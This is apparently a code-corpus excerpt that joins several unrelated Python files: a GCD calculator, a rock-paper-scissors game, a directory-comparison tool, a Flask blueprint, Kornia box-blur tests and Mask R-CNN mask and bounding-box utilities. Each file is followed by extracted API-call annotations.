False, 'from datetime import datetime\n'), ((3896, 3923), 'torch.logical_not', 'torch.logical_not', (['(y1 == y2)'], {}), '(y1 == y2)\n', (3913, 3923), False, 'import torch\n')] |
# /bin/python3.5
from math import fabs
class CipherExceptions(Exception):
def __init__(self, msg):
super(CipherExceptions, self).__init__(msg)
def gcd_by_euclid(a, b):
if a < 0 or b < 0:
a = fabs(a)
b = fabs(b)
if b == 0:
return int(a)
if b > a:
gcd_by_euclid(b, a)
return gcd_by_euclid(b, a % b)
def input_num(message):
while True:
try:
print('\n', message, end='')
key = str(input())
if not str.isnumeric(key):
raise CipherExceptions('Please enter a proper number.')
else:
return int(key)
except Exception as e:
print(e, end=' ')
print("Let's try again!")
def main():
a = input_num('Enter first number : ')
b = input_num('Enter second number : ')
print('\nThe GCD of {} and {} is {}'.format(a, b, gcd_by_euclid(a, b)))
if __name__ == '__main__':
main()
| [
"math.fabs"
] | [((220, 227), 'math.fabs', 'fabs', (['a'], {}), '(a)\n', (224, 227), False, 'from math import fabs\n'), ((240, 247), 'math.fabs', 'fabs', (['b'], {}), '(b)\n', (244, 247), False, 'from math import fabs\n')] |
from random import randint
itens = ('Papel', 'Tesoura', 'Pedra')
computador = randint(0, 2)
print('''Escolha uma opção abaixo:
[ 0 ] Papel
[ 1 ] Tesoura
[ 2 ] Pedra''')
opcao = int(input('Qual opção deseja: '))
print(f'O computador jogou {itens[computador]}!')
print(f'Você jogou {itens[opcao]}')
if computador == 0:
if opcao == 0:
print('RODADA EMPATADA!')
elif opcao == 1:
print('JOGADOR VENCEU!!!')
elif opcao == 2:
print('COMPUTADOR VENCEU!!!')
elif computador == 1:
if opcao == 0:
print('COMPUTADOR VENCEU')
elif opcao == 1:
print('RODADA EMPATADA!!')
elif opcao == 2:
print('JOGADOR VENCEU!!')
elif computador == 2:
if opcao == 0:
print('JOGADOR VENCEU!')
elif opcao == 1:
print('COMPUTADOR VENDEU')
elif opcao == 2:
print('RODADA EMPATADA')
else:
print('JOGADA INVÁLIDA!') | [
"random.randint"
] | [((78, 91), 'random.randint', 'randint', (['(0)', '(2)'], {}), '(0, 2)\n', (85, 91), False, 'from random import randint\n')] |
from tqdm import tqdm
from dirutility import DirPaths
def unique(list1, list2):
"""
Get unique items in list1 that are not in list2
:return: Unique items only in list 1
"""
set2 = set(list2)
list1_unique = [x for x in tqdm(list1, desc='Unique', total=len(list1)) if x not in set2]
return list1_unique
def unique_venn(list1, list2):
"""Get unique items that are only in list1 and only in list2"""
return unique(list1, list2), unique(list2, list1)
def compare_trees(dir1, dir2):
"""Parse two directories and return lists of unique files"""
paths1 = DirPaths(dir1).walk()
paths2 = DirPaths(dir2).walk()
return unique_venn(paths1, paths2)
def main():
from dirutility.gui import CompareTreesGUI
params = CompareTreesGUI().sources
src = params['source']
dir1_u, dir2_u = compare_trees(src['dir1'], src['dir2'])
if params['save']:
from databasetools import CSVExport, DictTools
save = params['save']
if save['csv']:
CSVExport(list(dir1_u), cols=['files'], file_path=save['directory'], file_name='dir1_unique')
CSVExport(list(dir2_u), cols=['files'], file_path=save['directory'], file_name='dir2_unique')
if save['json']:
DictTools(save['directory'], 'dir1_unique').save(list(dir1_u))
DictTools(save['directory'], 'dir2_unique').save(list(dir2_u))
print('Done!')
if __name__ == "__main__":
main()
| [
"dirutility.gui.CompareTreesGUI",
"dirutility.DirPaths",
"databasetools.DictTools"
] | [((768, 785), 'dirutility.gui.CompareTreesGUI', 'CompareTreesGUI', ([], {}), '()\n', (783, 785), False, 'from dirutility.gui import CompareTreesGUI\n'), ((598, 612), 'dirutility.DirPaths', 'DirPaths', (['dir1'], {}), '(dir1)\n', (606, 612), False, 'from dirutility import DirPaths\n'), ((633, 647), 'dirutility.DirPaths', 'DirPaths', (['dir2'], {}), '(dir2)\n', (641, 647), False, 'from dirutility import DirPaths\n'), ((1264, 1307), 'databasetools.DictTools', 'DictTools', (["save['directory']", '"""dir1_unique"""'], {}), "(save['directory'], 'dir1_unique')\n", (1273, 1307), False, 'from databasetools import CSVExport, DictTools\n'), ((1339, 1382), 'databasetools.DictTools', 'DictTools', (["save['directory']", '"""dir2_unique"""'], {}), "(save['directory'], 'dir2_unique')\n", (1348, 1382), False, 'from databasetools import CSVExport, DictTools\n')] |
#!/usr/bin/env python
# coding=utf-8
from flask import Blueprint
cms_bp = Blueprint('cms', __name__, subdomain='cms')
from . import views | [
"flask.Blueprint"
] | [((75, 118), 'flask.Blueprint', 'Blueprint', (['"""cms"""', '__name__'], {'subdomain': '"""cms"""'}), "('cms', __name__, subdomain='cms')\n", (84, 118), False, 'from flask import Blueprint\n')] |
import pytest
from typing import Tuple
import torch
import kornia as kornia
from torch.testing import assert_allclose
from torch.autograd import gradcheck
import utils # test utils
class TestBoxBlur:
def test_shape(self):
inp = torch.zeros(1, 3, 4, 4)
blur = kornia.filters.BoxBlur((3, 3))
assert blur(inp).shape == (1, 3, 4, 4)
def test_shape_batch(self):
inp = torch.zeros(2, 6, 4, 4)
blur = kornia.filters.BoxBlur((3, 3))
assert blur(inp).shape == (2, 6, 4, 4)
def test_kernel_3x3(self):
inp = torch.tensor([[[
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[2., 2., 2., 2., 2.],
[2., 2., 2., 2., 2.]
]]])
kernel_size = (3, 3)
actual = kornia.filters.box_blur(inp, kernel_size)
assert_allclose(actual[0, 0, 1, 1:4], torch.tensor(1.))
def test_kernel_5x5(self):
inp = torch.tensor([[[
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[2., 2., 2., 2., 2.],
[2., 2., 2., 2., 2.]
]]])
kernel_size = (5, 5)
actual = kornia.filters.box_blur(inp, kernel_size)
assert_allclose(actual[0, 0, 1, 2], torch.tensor(1.))
def test_kernel_5x5_batch(self):
batch_size = 3
inp = torch.tensor([[[
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[1., 1., 1., 1., 1.],
[2., 2., 2., 2., 2.],
[2., 2., 2., 2., 2.]
]]]).repeat(batch_size, 1, 1, 1)
kernel_size = (5, 5)
actual = kornia.filters.box_blur(inp, kernel_size)
assert_allclose(actual[0, 0, 1, 2], torch.tensor(1.))
def test_gradcheck(self):
batch_size, channels, height, width = 1, 2, 5, 4
img = torch.rand(batch_size, channels, height, width)
img = utils.tensor_to_gradcheck_var(img) # to var
assert gradcheck(kornia.filters.box_blur, (img, (3, 3),),
raise_exception=True)
def test_jit(self):
@torch.jit.script
def op_script(input: torch.Tensor,
kernel_size: Tuple[int, int]) -> torch.Tensor:
return kornia.filters.box_blur(input, kernel_size)
kernel_size = (3, 3)
img = torch.rand(2, 3, 4, 5)
actual = op_script(img, kernel_size)
expected = kornia.filters.box_blur(img, kernel_size)
assert_allclose(actual, expected)
| [
"torch.testing.assert_allclose",
"kornia.filters.box_blur",
"torch.tensor",
"kornia.filters.BoxBlur",
"utils.tensor_to_gradcheck_var",
"torch.autograd.gradcheck",
"torch.zeros",
"torch.rand"
] | [((245, 268), 'torch.zeros', 'torch.zeros', (['(1)', '(3)', '(4)', '(4)'], {}), '(1, 3, 4, 4)\n', (256, 268), False, 'import torch\n'), ((284, 314), 'kornia.filters.BoxBlur', 'kornia.filters.BoxBlur', (['(3, 3)'], {}), '((3, 3))\n', (306, 314), True, 'import kornia as kornia\n'), ((409, 432), 'torch.zeros', 'torch.zeros', (['(2)', '(6)', '(4)', '(4)'], {}), '(2, 6, 4, 4)\n', (420, 432), False, 'import torch\n'), ((448, 478), 'kornia.filters.BoxBlur', 'kornia.filters.BoxBlur', (['(3, 3)'], {}), '((3, 3))\n', (470, 478), True, 'import kornia as kornia\n'), ((572, 734), 'torch.tensor', 'torch.tensor', (['[[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, \n 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, 2.0]]]]'], {}), '([[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0,\n 1.0, 1.0, 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, \n 2.0]]]])\n', (584, 734), False, 'import torch\n'), ((818, 859), 'kornia.filters.box_blur', 'kornia.filters.box_blur', (['inp', 'kernel_size'], {}), '(inp, kernel_size)\n', (841, 859), True, 'import kornia as kornia\n'), ((970, 1132), 'torch.tensor', 'torch.tensor', (['[[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, \n 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, 2.0]]]]'], {}), '([[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0,\n 1.0, 1.0, 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, \n 2.0]]]])\n', (982, 1132), False, 'import torch\n'), ((1216, 1257), 'kornia.filters.box_blur', 'kornia.filters.box_blur', (['inp', 'kernel_size'], {}), '(inp, kernel_size)\n', (1239, 1257), True, 'import kornia as kornia\n'), ((1669, 1710), 'kornia.filters.box_blur', 'kornia.filters.box_blur', (['inp', 'kernel_size'], {}), '(inp, kernel_size)\n', (1692, 1710), True, 'import kornia as kornia\n'), ((1875, 1922), 'torch.rand', 'torch.rand', (['batch_size', 'channels', 'height', 'width'], {}), '(batch_size, channels, height, width)\n', (1885, 1922), False, 'import torch\n'), ((1937, 1971), 'utils.tensor_to_gradcheck_var', 'utils.tensor_to_gradcheck_var', (['img'], {}), '(img)\n', (1966, 1971), False, 'import utils\n'), ((1997, 2068), 'torch.autograd.gradcheck', 'gradcheck', (['kornia.filters.box_blur', '(img, (3, 3))'], {'raise_exception': '(True)'}), '(kornia.filters.box_blur, (img, (3, 3)), raise_exception=True)\n', (2006, 2068), False, 'from torch.autograd import gradcheck\n'), ((2364, 2386), 'torch.rand', 'torch.rand', (['(2)', '(3)', '(4)', '(5)'], {}), '(2, 3, 4, 5)\n', (2374, 2386), False, 'import torch\n'), ((2451, 2492), 'kornia.filters.box_blur', 'kornia.filters.box_blur', (['img', 'kernel_size'], {}), '(img, kernel_size)\n', (2474, 2492), True, 'import kornia as kornia\n'), ((2501, 2534), 'torch.testing.assert_allclose', 'assert_allclose', (['actual', 'expected'], {}), '(actual, expected)\n', (2516, 2534), False, 'from torch.testing import assert_allclose\n'), ((906, 923), 'torch.tensor', 'torch.tensor', (['(1.0)'], {}), '(1.0)\n', (918, 923), False, 'import torch\n'), ((1302, 1319), 'torch.tensor', 'torch.tensor', (['(1.0)'], {}), '(1.0)\n', (1314, 1319), False, 'import torch\n'), ((1755, 1772), 'torch.tensor', 'torch.tensor', (['(1.0)'], {}), '(1.0)\n', (1767, 1772), False, 'import torch\n'), ((2277, 2320), 'kornia.filters.box_blur', 'kornia.filters.box_blur', (['input', 'kernel_size'], {}), '(input, kernel_size)\n', (2300, 2320), True, 'import kornia as kornia\n'), ((1395, 1557), 'torch.tensor', 'torch.tensor', (['[[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, \n 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, 2.0]]]]'], {}), '([[[[1.0, 1.0, 1.0, 1.0, 1.0], [1.0, 1.0, 1.0, 1.0, 1.0], [1.0,\n 1.0, 1.0, 1.0, 1.0], [2.0, 2.0, 2.0, 2.0, 2.0], [2.0, 2.0, 2.0, 2.0, \n 2.0]]]])\n', (1407, 1557), False, 'import torch\n')] |
"""
Mask R-CNN
Common utility functions and classes.
Copyright (c) 2017 Matterport, Inc.
Licensed under the MIT License (see LICENSE_MATTERPORT for details)
Written by <NAME>
Copyright (c) 2021 Skinet Team
Licensed under the MIT License (see LICENSE for details)
Updated/Modified by <NAME>
"""
import json
import logging
import os
import random
import shutil
import urllib.request
import warnings
import zipfile
from distutils.version import LooseVersion
import cv2
import numpy as np
import scipy
import skimage.color
import skimage.io
import skimage.transform
from mrcnn.Config import Config
from mrcnn.visualize import create_multiclass_mask
from datasetTools import datasetDivider as dD
# URL from which to download the latest trained weights
WEIGHTS_URL = []
############################################################
# Masks
############################################################
def reduce_memory(results, config: Config, allow_sparse=True):
"""
Minimize all masks in the results dict from inference
:param results: dict containing results of the inference
:param config: the config object
:param allow_sparse: if False, will only keep biggest region of a mask
:return:
"""
_masks = results['masks']
_bbox = results['rois']
if not allow_sparse:
emptyMasks = []
for idx in range(results['masks'].shape[-1]):
mask = unsparse_mask(results['masks'][:, :, idx])
if mask is None:
emptyMasks.append(idx)
else:
results['masks'][:, :, idx] = mask
if len(emptyMasks) > 0:
results['scores'] = np.delete(results['scores'], emptyMasks)
results['class_ids'] = np.delete(results['class_ids'], emptyMasks)
results['masks'] = np.delete(results['masks'], emptyMasks, axis=2)
results['rois'] = np.delete(results['rois'], emptyMasks, axis=0)
results['rois'] = extract_bboxes(results['masks'])
results['masks'] = minimize_mask(results['rois'], results['masks'], config.get_mini_mask_shape())
return results
def get_mask_area(mask, verbose=0):
"""
Computes mask area
:param mask: the array representing the mask
:param verbose: 0 : nothing, 1+ : errors/problems
:return: the area of the mask and verbose output (None when nothing to print)
"""
maskHistogram = dD.getBWCount(mask)
display = None
if verbose > 0:
nbPx = mask.shape[0] * mask.shape[1]
tempSum = maskHistogram[0] + maskHistogram[1]
if tempSum != nbPx:
display = "Histogram pixels {} != total pixels {}".format(tempSum, nbPx)
return maskHistogram[1], display
def unsparse_mask(base_mask):
"""
Return mask with only its biggest part
:param base_mask: the mask image as np.bool or np.uint8
:return: the main part of the mask as a same shape image and type
"""
# http://www.learningaboutelectronics.com/Articles/How-to-find-the-largest-or-smallest-object-in-an-image-Python-OpenCV.php
# https://stackoverflow.com/a/19222620/9962046
# Convert to np.uint8 if not before processing
convert = False
if type(base_mask[0, 0]) is np.bool_:
convert = True
base_mask = base_mask.astype(np.uint8) * 255
# Padding the mask so that parts on edges will get correct area
base_mask = np.pad(base_mask, 1, mode='constant', constant_values=0)
res = np.zeros_like(base_mask, dtype=np.uint8)
# Detecting contours and keeping only one with biggest area
contours, _ = cv2.findContours(base_mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)
if len(contours) > 0:
if len(contours) > 1: # If only one region, reconstructing mask is useless
biggest_part = sorted(contours, key=cv2.contourArea, reverse=True)[0]
# Drawing the biggest part on the result mask
cv2.fillPoly(res, pts=[biggest_part], color=255)
else:
res = base_mask
# Removing padding of the mask
res = res[1:-1, 1:-1]
return res.astype(np.bool) if convert else res
else:
return None
############################################################
# Bounding Boxes
############################################################
def in_roi(roi_to_test, roi, epsilon=0):
"""
Tests if the RoI to test is included in the given RoI
:param roi_to_test: the RoI/bbox to test
:param roi: the RoI that should include the one to test
:param epsilon: margin of the RoI to allow boxes that are not exactly inside
:return: True if roi_to_test is included in roi
"""
res = True
i = 0
while i < 4 and res:
res = res and (roi[i % 2] - epsilon <= roi_to_test[i] <= roi[i % 2 + 2] + epsilon)
i += 1
return res
def get_bbox_area(roi):
"""
Returns the bbox area
:param roi: the bbox to use
:return: area of the given bbox
"""
return (roi[3] - roi[1]) * (roi[2] - roi[0])
def get_bboxes_intersection(roiA, roiB):
"""
Computes the intersection area of two bboxes
:param roiA: the first bbox
:param roiB: the second bbox
:return: the area of the intersection
"""
xInter = min(roiA[3], roiB[3]) - max(roiA[1], roiB[1])
yInter = min(roiA[2], roiB[2]) - max(roiA[0], roiB[0])
return max(xInter, 0) * max(yInter, 0)
def global_bbox(roiA, roiB):
"""
Returns the bbox enclosing two given bboxes
:param roiA: the first bbox
:param roiB: the second bbox
:return: the enclosing bbox
"""
return np.array([min(roiA[0], roiB[0]), min(roiA[1], roiB[1]), max(roiA[2], roiB[2]), max(roiA[3], roiB[3])])
def shift_bbox(roi, customShift=None):
"""
Shifts bbox coordinates so that min x and min y equal 0
:param roi: the roi/bbox to transform
:param customShift: custom x and y shift as (yShift, xShift)
:return: the shifted bbox
"""
yMin, xMin, yMax, xMax = roi
if customShift is None:
return np.array([0, 0, yMax - yMin, xMax - xMin])
else:
return np.array([max(yMin - customShift[0], 0), max(xMin - customShift[1], 0),
max(yMax - customShift[0], 0), max(xMax - customShift[1], 0)])
def expand_masks(mini_mask1, roi1, mini_mask2, roi2):
"""
Expands two masks while keeping their relative position
:param mini_mask1: the first mini mask
:param roi1: the first mask bbox/roi
:param mini_mask2: the second mini mask
:param roi2: the second mask bbox/roi
:return: mask1, mask2
"""
roi1And2 = global_bbox(roi1, roi2)
shifted_roi1And2 = shift_bbox(roi1And2)
shifted_roi1 = shift_bbox(roi1, customShift=roi1And2[:2])
shifted_roi2 = shift_bbox(roi2, customShift=roi1And2[:2])
mask1 = expand_mask(shifted_roi1, mini_mask1, shifted_roi1And2[2:])
mask2 = expand_mask(shifted_roi2, mini_mask2, shifted_roi1And2[2:])
return mask1, mask2
def extract_bboxes(mask):
"""Compute bounding boxes from masks.
mask: [height, width, num_instances]. Mask pixels are either 1 or 0.
Returns: bbox array [num_instances, (y1, x1, y2, x2)].
"""
soleMask = False
if len(mask.shape) != 3:
_mask = np.expand_dims(mask, 2)
soleMask = True
else:
_mask = mask
boxes = np.zeros([_mask.shape[-1], 4], dtype=np.int32)
for i in range(_mask.shape[-1]):
m = _mask[:, :, i]
# Bounding box.
horizontal_indicies = np.where(np.any(m, axis=0))[0]
vertical_indicies = np.where(np.any(m, axis=1))[0]
if horizontal_indicies.shape[0]:
x1, x2 = horizontal_indicies[[0, -1]]
y1, y2 = vertical_indicies[[0, -1]]
# x2 and y2 should not be part of the box. Increment by 1.
x2 += 1
y2 += 1
else:
# No mask for this instance. Might happen due to
# resizing or cropping. Set bbox to zeros
x1, x2, y1, y2 = 0, 0, 0, 0
boxes[i] = np.array([y1, x1, y2, x2]).astype(np.int32)
return boxes[0] if soleMask else boxes
def compute_iou(box, boxes, box_area, boxes_area):
"""Calculates IoU of the given box with the array of the given boxes.
box: 1D vector [y1, x1, y2, x2]
boxes: [boxes_count, (y1, x1, y2, x2)]
box_area: float. the area of 'box'
boxes_area: array of length boxes_count.
Note: the areas are passed in rather than calculated here for
efficiency. Calculate once in the caller to avoid duplicate work.
"""
# Calculate intersection areas
y1 = np.maximum(box[0], boxes[:, 0])
y2 = np.minimum(box[2], boxes[:, 2])
x1 = np.maximum(box[1], boxes[:, 1])
x2 = np.minimum(box[3], boxes[:, 3])
intersection = np.maximum(x2 - x1, 0) * np.maximum(y2 - y1, 0)
union = box_area + boxes_area[:] - intersection[:]
iou = intersection / union
return iou
def compute_overlaps(boxes1, boxes2):
"""Computes IoU overlaps between two sets of boxes.
boxes1, boxes2: [N, (y1, x1, y2, x2)].
For better performance, pass the largest set first and the smaller second.
"""
# TODO Possible improvements: using another structure to save overlaps as a lot of bboxes overlaps with only a few ?
# Areas of anchors and GT boxes
area1 = (boxes1[:, 2] - boxes1[:, 0]) * (boxes1[:, 3] - boxes1[:, 1])
area2 = (boxes2[:, 2] - boxes2[:, 0]) * (boxes2[:, 3] - boxes2[:, 1])
# Compute overlaps to generate matrix [boxes1 count, boxes2 count]
# Each cell contains the IoU value.
overlaps = np.zeros((boxes1.shape[0], boxes2.shape[0]))
for i in range(overlaps.shape[1]):
box2 = boxes2[i]
overlaps[:, i] = compute_iou(box2, boxes1, area2[i], area1)
return overlaps
def compute_overlaps_masks(masks1, boxes1, masks2, boxes2):
"""Computes IoU overlaps between two sets of masks.
masks1, masks2: [Height, Width, instances]
"""
res = np.zeros((masks1.shape[-1], masks2.shape[-1]))
# If either set of masks is empty return empty result
if masks1.shape[-1] == 0 or masks2.shape[-1] == 0:
return res
matching_boxes = compute_overlaps(boxes1, boxes2)
idx, idy = np.nonzero(matching_boxes)
matching_boxes = set(zip(idx, idy))
for idMask1, idMask2 in matching_boxes:
mask1, mask2 = expand_masks(masks1[:, :, idMask1], boxes1[idMask1], masks2[:, :, idMask2], boxes2[idMask2])
mask1Area, _ = get_mask_area(mask1)
mask2Area, _ = get_mask_area(mask2)
if mask1Area != 0 and mask2Area != 0:
mask1AND2 = np.logical_and(mask1, mask2)
intersection, _ = get_mask_area(mask1AND2)
union = mask1Area + mask2Area - intersection
res[idMask1, idMask2] = intersection / union
return res
def non_max_suppression(boxes, scores, threshold):
"""
Performs non-maximum suppression
:param boxes: [N, (y1, x1, y2, x2)]. Notice that (y2, x2) lays outside the box.
:param scores: 1-D array of box scores.
:param threshold: Float. IoU threshold to use for filtering.
:return: indices of kept boxes
"""
assert boxes.shape[0] > 0
if boxes.dtype.kind != "f":
boxes = boxes.astype(np.float32)
# Compute box areas
y1 = boxes[:, 0]
x1 = boxes[:, 1]
y2 = boxes[:, 2]
x2 = boxes[:, 3]
area = (y2 - y1) * (x2 - x1)
# Get indices of boxes sorted by scores (highest first)
ixs = scores.argsort()[::-1]
pick = []
while len(ixs) > 0:
# Pick top box and add its index to the list
i = ixs[0]
pick.append(i)
# Compute IoU of the picked box with the rest
iou = compute_iou(boxes[i], boxes[ixs[1:]], area[i], area[ixs[1:]])
# Identify boxes with IoU over the threshold. This
# returns indices into ixs[1:], so add 1 to get
# indices into ixs.
remove_ixs = np.where(iou > threshold)[0] + 1
# Remove indices of the picked and overlapped boxes.
ixs = np.delete(ixs, remove_ixs)
ixs = np.delete(ixs, 0)
return np.array(pick, dtype=np.int32)
############################################################
# Dataset
############################################################
class Dataset(object):
"""The base class for dataset classes.
To use it, create a new class that adds functions specific to the dataset
you want to use. For example:
class CatsAndDogsDataset(Dataset):
def load_cats_and_dogs(self):
...
def load_mask(self, image_id):
...
def image_reference(self, image_id):
...
See COCODataset and ShapesDataset as examples.
"""
def __init__(self, class_map=None):
self._image_ids = []
self.image_info = []
# Background is always the first class
self.class_info = [{"source": "", "id": 0, "name": "BG"}]
self.source_class_ids = {}
def add_class(self, source, class_id, class_name):
assert "." not in source, "Source name cannot contain a dot"
# Does the class exist already?
for info in self.class_info:
if info['source'] == source and info["id"] == class_id:
# source.class_id combination already available, skip
return
# Add the class
self.class_info.append({
"source": source,
"id": class_id,
"name": class_name,
})
def add_image(self, source, image_id, path, **kwargs):
image_info = {
"id": image_id,
"source": source,
"path": path,
}
image_info.update(kwargs)
self.image_info.append(image_info)
def image_reference(self, image_id):
"""Return a link to the image in its source Website or details about
the image that help looking it up or debugging it.
Override for your dataset, but pass to this function
if you encounter images not in your dataset.
"""
return ""
def prepare(self, class_map=None):
"""Prepares the Dataset class for use.
TODO: class map is not supported yet. When done, it should handle mapping
classes from different datasets to the same class ID.
"""
def clean_name(name):
"""Returns a shorter version of object names for cleaner display."""
return ",".join(name.split(",")[:1])
# Build (or rebuild) everything else from the info dicts.
self.num_classes = len(self.class_info)
self.class_ids = np.arange(self.num_classes)
self.class_names = [clean_name(c["name"]) for c in self.class_info]
self.num_images = len(self.image_info)
self._image_ids = np.arange(self.num_images)
# Mapping from source class and image IDs to internal IDs
self.class_from_source_map = {"{}.{}".format(info['source'], info['id']): id
for info, id in zip(self.class_info, self.class_ids)}
self.image_from_source_map = {"{}.{}".format(info['source'], info['id']): id
for info, id in zip(self.image_info, self.image_ids)}
# Map sources to class_ids they support
self.sources = list(set([i['source'] for i in self.class_info]))
self.source_class_ids = {}
# Loop over datasets
for source in self.sources:
self.source_class_ids[source] = []
# Find classes that belong to this dataset
for i, info in enumerate(self.class_info):
# Include BG class in all datasets
if i == 0 or source == info['source']:
self.source_class_ids[source].append(i)
def map_source_class_id(self, source_class_id):
"""Takes a source class ID and returns the int class ID assigned to it.
For example:
dataset.map_source_class_id("coco.12") -> 23
"""
return self.class_from_source_map[source_class_id]
def get_source_class_id(self, class_id, source):
"""Map an internal class ID to the corresponding class ID in the source dataset."""
info = self.class_info[class_id]
assert info['source'] == source
return info['id']
@property
def image_ids(self):
return self._image_ids
def source_image_link(self, image_id):
"""Returns the path or URL to the image.
Override this to return a URL to the image if it's available online for easy
debugging.
"""
return self.image_info[image_id]["path"]
def load_image(self, image_id):
"""Load the specified image and return a [H,W,3] Numpy array.
"""
# Load image
image = skimage.io.imread(self.image_info[image_id]['path'])
# If grayscale. Convert to RGB for consistency.
if image.ndim != 3:
image = skimage.color.gray2rgb(image)
# If has an alpha channel, remove it for consistency
if image.shape[-1] == 4:
image = image[..., :3]
return image
def load_mask(self, image_id):
"""Load instance masks for the given image.
Different datasets use different ways to store masks. Override this
method to load instance masks and return them in the form of am
array of binary masks of shape [height, width, instances].
Returns:
masks: A bool array of shape [height, width, instance count] with
a binary mask per instance.
class_ids: a 1D array of class IDs of the instance masks.
"""
# Override this function to load a mask from your dataset.
# Otherwise, it returns an empty mask.
logging.warning("You are using the default load_mask(), maybe you need to define your own one.")
mask = np.empty([0, 0, 0])
class_ids = np.empty([0], np.int32)
return mask, class_ids
def resize_image(image, min_dim=None, max_dim=None, min_scale=None, mode="square"):
"""Resizes an image keeping the aspect ratio unchanged.
min_dim: if provided, resizes the image such that it's smaller
dimension == min_dim
max_dim: if provided, ensures that the image longest side doesn't
exceed this value.
min_scale: if provided, ensure that the image is scaled up by at least
this percent even if min_dim doesn't require it.
mode: Resizing mode.
none: No resizing. Return the image unchanged.
square: Resize and pad with zeros to get a square image
of size [max_dim, max_dim].
pad64: Pads width and height with zeros to make them multiples of 64.
If min_dim or min_scale are provided, it scales the image up
before padding. max_dim is ignored in this mode.
The multiple of 64 is needed to ensure smooth scaling of feature
maps up and down the 6 levels of the FPN pyramid (2**6=64).
crop: Picks random crops from the image. First, scales the image based
on min_dim and min_scale, then picks a random crop of
size min_dim x min_dim. Can be used in training only.
max_dim is not used in this mode.
Returns:
image: the resized image
window: (y1, x1, y2, x2). If max_dim is provided, padding might
be inserted in the returned image. If so, this window is the
coordinates of the image part of the full image (excluding
the padding). The x2, y2 pixels are not included.
scale: The scale factor used to resize the image
padding: Padding added to the image [(top, bottom), (left, right), (0, 0)]
"""
# Keep track of image dtype and return results in the same dtype
image_dtype = image.dtype
# Default window (y1, x1, y2, x2) and default scale == 1.
h, w = image.shape[:2]
window = (0, 0, h, w)
scale = 1
padding = [(0, 0), (0, 0), (0, 0)]
crop = None
if mode == "none":
return image, window, scale, padding, crop
# Scale?
if min_dim:
# Scale up but not down
scale = max(1, min_dim / min(h, w))
if min_scale and scale < min_scale:
scale = min_scale
# Does it exceed max dim?
if max_dim and mode == "square":
image_max = max(h, w)
if round(image_max * scale) > max_dim:
scale = max_dim / image_max
# Resize image using bilinear interpolation
if scale != 1:
image = resize(image, (round(h * scale), round(w * scale)),
preserve_range=True)
# Need padding or cropping?
if mode == "square":
# Get new height and width
h, w = image.shape[:2]
top_pad = (max_dim - h) // 2
bottom_pad = max_dim - h - top_pad
left_pad = (max_dim - w) // 2
right_pad = max_dim - w - left_pad
padding = [(top_pad, bottom_pad), (left_pad, right_pad), (0, 0)]
image = np.pad(image, padding, mode='constant', constant_values=0)
window = (top_pad, left_pad, h + top_pad, w + left_pad)
elif mode == "pad64":
h, w = image.shape[:2]
# Both sides must be divisible by 64
assert min_dim % 64 == 0, "Minimum dimension must be a multiple of 64"
# Height
if h % 64 > 0:
max_h = h - (h % 64) + 64
top_pad = (max_h - h) // 2
bottom_pad = max_h - h - top_pad
else:
top_pad = bottom_pad = 0
# Width
if w % 64 > 0:
max_w = w - (w % 64) + 64
left_pad = (max_w - w) // 2
right_pad = max_w - w - left_pad
else:
left_pad = right_pad = 0
padding = [(top_pad, bottom_pad), (left_pad, right_pad), (0, 0)]
image = np.pad(image, padding, mode='constant', constant_values=0)
window = (top_pad, left_pad, h + top_pad, w + left_pad)
elif mode == "crop":
# Pick a random crop
h, w = image.shape[:2]
y = random.randint(0, (h - min_dim))
x = random.randint(0, (w - min_dim))
crop = (y, x, min_dim, min_dim)
image = image[y:y + min_dim, x:x + min_dim]
window = (0, 0, min_dim, min_dim)
else:
raise Exception("Mode {} not supported".format(mode))
return image.astype(image_dtype), window, scale, padding, crop
def resize_mask(mask, scale, padding, crop=None):
"""Resizes a mask using the given scale and padding.
Typically, you get the scale and padding from resize_image() to
ensure both, the image and the mask, are resized consistently.
scale: mask scaling factor
padding: Padding to add to the mask in the form
[(top, bottom), (left, right), (0, 0)]
"""
# Suppress warning from scipy 0.13.0, the output shape of zoom() is
# calculated with round() instead of int()
with warnings.catch_warnings():
warnings.simplefilter("ignore")
mask = scipy.ndimage.zoom(mask, zoom=[scale, scale, 1], order=0)
if crop is not None:
y, x, h, w = crop
mask = mask[y:y + h, x:x + w]
else:
mask = np.pad(mask, padding, mode='constant', constant_values=0)
return mask
def minimize_mask(bbox, mask, mini_shape):
"""Resize masks to a smaller version to reduce memory load.
Mini-masks can be resized back to image scale using expand_masks()
See inspect_data.ipynb notebook for more details.
"""
soleMask = False
if len(bbox.shape) != 2 and len(mask.shape) != 3:
soleMask = True
_bbox = np.expand_dims(bbox, 0)
_mask = np.expand_dims(mask, 2)
else:
_bbox = bbox
_mask = mask
mini_mask = np.zeros(mini_shape + (_mask.shape[-1],), dtype=bool)
for i in range(_mask.shape[-1]):
# Pick slice and cast to bool in case load_mask() returned wrong dtype
m = _mask[:, :, i].astype(bool).astype(np.uint8) * 255
y1, x1, y2, x2 = _bbox[i][:4]
m = m[y1:y2, x1:x2]
if m.size == 0:
raise Exception("Invalid bounding box with area of zero")
# Resize with bilinear interpolation
m = resize(m, mini_shape)
mini_mask[:, :, i] = np.around(m).astype(np.bool)
